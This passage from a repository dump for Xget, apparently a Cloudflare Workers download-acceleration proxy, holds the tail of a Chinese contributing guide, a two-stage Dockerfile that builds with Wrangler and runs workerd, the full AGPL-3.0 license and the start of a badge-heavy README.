中再次校验提交消息,防止绕过本地 hook ## 🔍 Pull Request 流程 ### 提交前检查 - [ ] 代码通过所有测试 - [ ] 代码符合存储库规范 - [ ] 添加了必要的测试 - [ ] 更新了相关文档 - [ ] Commit 消息符合规范 ### PR 描述模板 请使用 [PR 模板](.github/pull_request_template.md)填写详细信息。 ### 代码审查 - 所有 PR 需要至少一个维护者的审查 - 解决审查中提出的问题 - 保持 PR 的焦点明确,避免混合多个不相关的更改 ## 🌟 贡献认可 ### 贡献者列表 我们会在 README.md 中维护贡献者列表,感谢每一位贡献者的付出。 ### 贡献统计 - 代码贡献会在 GitHub 贡献图中显示 - 重要贡献会在 Release Notes 中特别提及 - 长期贡献者可能被邀请成为存储库维护者 ## 📋 开发任务 ### 当前优先级 1. **性能优化**: 提升缓存效率和响应速度 2. **平台支持**: 添加新的代码托管和包管理平台 3. **安全增强**: 加强请求验证和安全防护 4. **监控改进**: 完善性能监控和错误追踪 ### 适合新手的任务 查找标有 `good first issue` 标签的 issues,这些通常是: - 文档改进 - 简单的 bug 修复 - 代码格式化 - 测试用例添加 ## 🤔 获取帮助 ### 沟通渠道 - **GitHub Issues**: 报告问题和功能请求 - **Email**: 敏感问题可发送至维护者邮箱 ### 常见问题 **Q: 如何添加新平台支持?** A: 在 `src/config/platform-catalog.js` 中添加平台地址;如果需要特殊路径转换,再更新 `src/routing/platform-transformers.js`,然后补充相关文档和测试。 **Q: 如何测试 Cloudflare Workers 功能?** A: 使用 `npm run dev` 启动本地开发服务器,或部署到 Cloudflare Workers 测试环境。 **Q: 如何处理跨域问题?** A: 检查 CORS 配置,确保允许的源和方法设置正确。 ## 📄 许可证 通过贡献代码,您同意您的贡献将在与存储库相同的 [AGPL-3.0 许可证](LICENSE) 下发布。 ## 🙏 致谢 感谢所有为 Xget 做出贡献的开发者、测试者和用户。您的支持和反馈是存储库持续改进的动力! --- 如果您有任何问题或建议,请随时通过 GitHub Issues 与我们联系。我们期待您的参与! ================================================ FILE: Dockerfile ================================================ # --- Stage 1: build the Worker with Wrangler ----------------------- FROM node:25-alpine AS builder WORKDIR /app # Install dependencies & wrangler COPY package*.json wrangler.toml ./ RUN npm ci # Copy source and build COPY src ./src RUN npx wrangler deploy --dry-run --outdir=dist # --- Stage 2: minimal runtime with workerd ------------------------- FROM node:25-slim AS runtime ARG TARGETARCH # Install ca-certificates for SSL, then install workerd via npm RUN apt-get update && \ apt-get install -y ca-certificates && \ rm -rf /var/lib/apt/lists/* && \ case "${TARGETARCH}" in \ amd64) WORKERD_PKG="@cloudflare/workerd-linux-64" ;; \ arm64) WORKERD_PKG="@cloudflare/workerd-linux-arm64" ;; \ *) echo "Unsupported TARGETARCH: ${TARGETARCH}" && exit 1 ;; \ esac && \ npm install -g "${WORKERD_PKG}" && \ ln -s "/usr/local/lib/node_modules/${WORKERD_PKG}/bin/workerd" /usr/local/bin/workerd && \ workerd --version WORKDIR /worker # Bring in the compiled Worker bundle and config COPY --from=builder /app/dist ./dist COPY config.capnp ./config.capnp # Expose the port workerd listens on EXPOSE 8080 CMD ["workerd", "serve", "config.capnp"] ================================================ FILE: LICENSE ================================================ GNU AFFERO GENERAL PUBLIC LICENSE Version 3, 19 November 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software. A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public. The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version. An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU Affero General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Remote Network Interaction; Use with the GNU General Public License. Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements. You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see . ================================================ FILE: README.md ================================================
# Xget 🚀 xixu-me%2FXget | Trendshift [![Ask Zread](https://img.shields.io/badge/Ask_Zread-_.svg?style=flat&color=00b0aa&labelColor=000000&logo=data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTQuOTYxNTYgMS42MDAxSDIuMjQxNTZDMS44ODgxIDEuNjAwMSAxLjYwMTU2IDEuODg2NjQgMS42MDE1NiAyLjI0MDFWNC45NjAxQzEuNjAxNTYgNS4zMTM1NiAxLjg4ODEgNS42MDAxIDIuMjQxNTYgNS42MDAxSDQuOTYxNTZDNS4zMTUwMiA1LjYwMDEgNS42MDE1NiA1LjMxMzU2IDUuNjAxNTYgNC45NjAxVjIuMjQwMUM1LjYwMTU2IDEuODg2NjQgNS4zMTUwMiAxLjYwMDEgNC45NjE1NiAxLjYwMDFaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00Ljk2MTU2IDEwLjM5OTlIMi4yNDE1NkMxLjg4ODEgMTAuMzk5OSAxLjYwMTU2IDEwLjY4NjQgMS42MDE1NiAxMS4wMzk5VjEzLjc1OTlDMS42MDE1NiAxNC4xMTM0IDEuODg4MSAxNC4zOTk5IDIuMjQxNTYgMTQuMzk5OUg0Ljk2MTU2QzUuMzE1MDIgMTQuMzk5OSA1LjYwMTU2IDE0LjExMzQgNS42MDE1NiAxMy43NTk5VjExLjAzOTlDNS42MDE1NiAxMC42ODY0IDUuMzE1MDIgMTAuMzk5OSA0Ljk2MTU2IDEwLjM5OTlaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik0xMy43NTg0IDEuNjAwMUgxMS4wMzg0QzEwLjY4NSAxLjYwMDEgMTAuMzk4NCAxLjg4NjY0IDEwLjM5ODQgMi4yNDAxVjQuOTYwMUMxMC4zOTg0IDUuMzEzNTYgMTAuNjg1IDUuNjAwMSAxMS4wMzg0IDUuNjAwMUgxMy43NTg0QzE0LjExMTkgNS42MDAxIDE0LjM5ODQgNS4zMTM1NiAxNC4zOTg0IDQuOTYwMVYyLjI0MDFDMTQuMzk4NCAxLjg4NjY0IDE0LjExMTkgMS42MDAxIDEzLjc1ODQgMS42MDAxWiIgZmlsbD0iI2ZmZiIvPgo8cGF0aCBkPSJNNCAxMkwxMiA0TDQgMTJaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00IDEyTDEyIDQiIHN0cm9rZT0iI2ZmZiIgc3Ryb2tlLXdpZHRoPSIxLjUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPgo8L3N2Zz4K&logoColor=ffffff)](https://zread.ai/xixu-me/Xget) [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/xixu-me/Xget) [![codecov](https://codecov.io/github/xixu-me/xget/graph/badge.svg?token=KDFMG9YX8G)](https://codecov.io/github/xixu-me/xget) [![Chromium](https://img.shields.io/badge/Chromium-4285F4?logo=googlechrome&logoColor=white)](#-ecosystem-integration) [![Firefox](https://img.shields.io/badge/Firefox-FF7139?logo=Firefox&logoColor=white)](#-ecosystem-integration) [![Cloudflare](https://img.shields.io/badge/Cloudflare-F38020?&logo=cloudflare&logoColor=white)](#deploy-to-cloudflare-workers) [![EdgeOne](https://img.shields.io/badge/EdgeOne-006EFF?&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAYAAAByDd+UAAACNklEQVR4nJ1W7XHbMAx96ul/lQnCDapOUG3gdIIkG6QjdINOUGeDNhNYmUDuBHIWiNQF/PqDYAxDoMUGdzx+AXgAAQGqSKKAOgAbma8BXMn5DGAv4wlAv6qJ5KVxR3LkOR3NWu9HkcnqzF0EkoMDcsysLd8oOooAb0lOF7wqpYnkzRrgZkVJ8mp0jLFzotscYOC6ZyNjjLbOnTZI7weSjQc4ZoQmkjuSneIdMoADyR9iVKuB0qglWYOT0n9Uys/qPAD4ZHgfAXwzfO/6LLyxcTxbJEdufFi1aEk32l6Z+1Lhep1lQa1aVwI2O3wBsTIFxOoUADzVspgzQp6S1pztATRyvpG5lTNLTUVykssJwF91OQP4bATuAGzVngBexJD0vJW51/u5VpZc4VSUgViMLX1xlIUCoERNLoYE8Ns579S6chTngGYZh1oWjRGoEGOjKSAGP/HovqblDoiJtAfwLPv5xHnqCrbNeK3K8qX9juQDMx3CVpoesXLop7DeATF+2rsKsbo8oizD3zzsjLWk30RHw7N7R5V68/AgMUpeWg9bLLOxL/AniOw1Yp58t/FZi5+mzuFrJJY/Sb6qFzmmV9PMgzBsHUW/eN5gJwdk54Rm4YTXgHPx00p24qEGydFElb3e09nUbpXVuZ+oS/88Z62rJLMelHAJSDqf6LxWSXvS35/+Vr0SlqrPHsBXxOw/o5IGHDLKE4AucS8A7hG7zAIMACryv371WxkfxYhZFD8jFvt+TdE/deK28xBAUlEAAAAASUVORK5CYII=)](#deploy-to-edgeone-pages) [![Vercel](https://img.shields.io/badge/Vercel-000000?&logo=vercel&logoColor=white)](#deploy-to-vercel) [![Netlify](https://img.shields.io/badge/Netlify-00C7B7?&logo=netlify&logoColor=white)](#deploy-to-netlify) [![Deno](https://img.shields.io/badge/Deno-000000?&logo=deno&logoColor=white)](#deploy-to-deno-deploy) [![Docker](https://img.shields.io/badge/Docker-2496ED?&logo=docker&logoColor=white)](#self-hosted-deployment) [![Podman](https://img.shields.io/badge/Podman-892CA0?&logo=podman&logoColor=white)](#self-hosted-deployment) **English** | [汉语(简体)](README.zh-Hans.md) | [漢語(繁體)](README.zh-Hant.md)
[![GitHub](https://img.shields.io/badge/GitHub-181717?&logo=github&logoColor=white)](#github) [![GitLab](https://img.shields.io/badge/GitLab-FC6D26?&logo=gitlab&logoColor=white)](#gitlab) [![Gitea](https://img.shields.io/badge/Gitea-609926?&logo=gitea&logoColor=white)](#gitea) [![Codeberg](https://img.shields.io/badge/Codeberg-2185D0?&logo=codeberg&logoColor=white)](#codeberg) [![SourceForge](https://img.shields.io/badge/SourceForge-FF6600?&logo=sourceforge&logoColor=white)](#sourceforge) [![AOSP](https://img.shields.io/badge/AOSP-3DDC84?&logo=android&logoColor=white)](#aosp-android-open-source-project) [![Hugging Face](https://img.shields.io/badge/Hugging%20Face-FFD21E?&logo=huggingface&logoColor=black)](#hugging-face-mirror) [![Civitai](https://img.shields.io/badge/Civitai-1971C2)](#civitai-ai-model-platform) [![npm](https://img.shields.io/badge/npm-CB3837?logo=npm&logoColor=white)](#npm-package-acceleration) [![PyPI](https://img.shields.io/badge/PyPI-3775A9?logo=pypi&logoColor=white)](#python-package-acceleration) [![conda](https://img.shields.io/badge/conda-44A833?logo=anaconda&logoColor=white)](#conda-package-acceleration) [![Maven](https://img.shields.io/badge/Maven-C71A36?logo=apachemaven&logoColor=white)](#maven-package-acceleration) [![Apache](https://img.shields.io/badge/Apache-D22128?logo=apache&logoColor=white)](#apache-software-download-acceleration) 